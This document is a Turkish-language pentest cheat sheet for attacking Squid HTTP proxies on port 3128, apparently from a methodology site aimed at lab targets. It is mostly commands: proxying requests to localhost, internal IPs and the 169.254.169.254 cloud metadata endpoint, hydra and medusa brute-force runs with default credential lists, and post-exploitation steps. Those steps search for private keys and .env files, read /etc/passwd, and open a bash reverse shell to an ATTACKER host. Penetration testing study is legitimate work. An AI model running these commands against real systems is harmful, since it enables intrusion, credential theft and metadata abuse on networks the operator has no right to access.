Skip to content

3128 - Pentesting Squid

Squid proxy

Squid HTTP proxy açığı iç ağ ve metadata pivot’u demektir. ACL zayıflığı SSRF benzeri erişim verir. Hedef lab IP’si üzerinde komutları 3128 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 3128 doğrula.

  2. Açık proxy testi.

  3. İç IP/metadata erişimi.

  4. FTP/CONNECT tuhaflıkları.

Terminal window
nmap -Pn -sV -p3128 TARGET
Terminal window
nmap -Pn -p3128 --script http-open-proxy,http-methods TARGET
Terminal window
curl -x http://TARGET:3128 http://ifconfig.me
Terminal window
curl -x http://TARGET:3128 http://127.0.0.1/
Terminal window
curl -x http://TARGET:3128 http://169.254.169.254/latest/meta-data/
Terminal window
curl -x http://TARGET:3128 http://10.10.10.5/
Terminal window
proxychains curl http://internal/
Terminal window
curl -x http://user:pass@TARGET:3128 http://example.com
Terminal window
hydra -L users.txt -P pass.txt http-proxy://TARGET:3128

Squid için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p3128 TARGET
Terminal window
nmap -Pn -p3128 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3128' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',3128));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Squid
Terminal window
hydra -L users.txt -P rockyou.txt -s 3128 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3128
Terminal window
nmap -p3128 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Squid
Terminal window
msfconsole -q -x 'search Squid; exit'
Terminal window
nuclei -u https://TARGET:3128 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:3128 -tags tech -silent || true
Terminal window
nc -nv TARGET 3128
Terminal window
printf '
' | timeout 3 nc -nv TARGET 3128
Terminal window
curl -vk --http1.0 http://TARGET:3128/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
open proxy → metadata/internal → creds → deeper pivot